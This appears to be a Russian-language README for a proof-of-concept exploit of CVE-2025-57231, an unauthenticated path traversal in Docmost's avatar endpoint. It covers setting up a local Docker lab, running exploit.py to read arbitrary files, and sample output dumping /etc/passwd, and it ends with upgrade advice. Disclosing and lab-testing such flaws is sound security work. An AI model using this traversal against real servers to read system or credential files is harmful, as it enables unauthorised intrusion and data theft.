
Python PoC-эксплойт для CVE-2025-57231 — неаутентифицированное обход пути в Docmost < 0.22.0, позволяющее читать произвольные файлы через эндпоинт аватара.
Этот репозиторий содержит Proof of Concept (PoC) эксплойт для CVE-2025-57231.
Этот проект предоставлен исключительно в образовательных целях и для авторизованного тестирования безопасности. Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет разрешения.
Уязвимость обхода каталога в Docmost позволяет произвольно читать файлы с версии 0.2.1 по 0.21.0. Конечная точка приложения /api/attachments/img/avatar не выполняет должную проверку путей к файлам и общедоступна без какой-либо аутентификации. Это позволяет неаутентифицированным злоумышленникам извлекать произвольное содержимое файлов из целевой системы путём обращения к конечной точке /avatar с последовательностями %2F.
Все версии Docmost с 0.2.1 по 0.21.0 подвержены уязвимости.
Предварительные требования: установленные Docker и Docker compose
mkdir docmost
cd docmost
curl -O https://raw.githubusercontent.com/docmost/docmost/main/docker-compose.yml
# Generate a long random secret key
openssl rand -hex 32
# Open the docker-compose.yml file and make the following changes:
# 1. Replace `image: docmost/docmost:latest` with `image: docmost/docmost:0.21.0`
# 2. Replace `APP_SECRET` with the random secret key generated above
sudo docker-compose up -d
Перейдите по адресу http://localhost:3000/ и введите фиктивные данные для названия рабочего пространства, имени, электронной почты и пароля
git clone https://github.com/anirbala98/CVE-2025-57231.git
cd CVE-2025-57231/
pip install -r requirements.txt
python exploit.py <base_url> -f <file location>
python exploit.py http://localhost:3000/ -f /etc/passwd
└─$ python exploit.py http://localhost:3000/ -f /etc/passwd
[*] Attempting to read arbitrary file
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000::/home/node:/bin/sh
Обновите плагин до версии 0.22.0.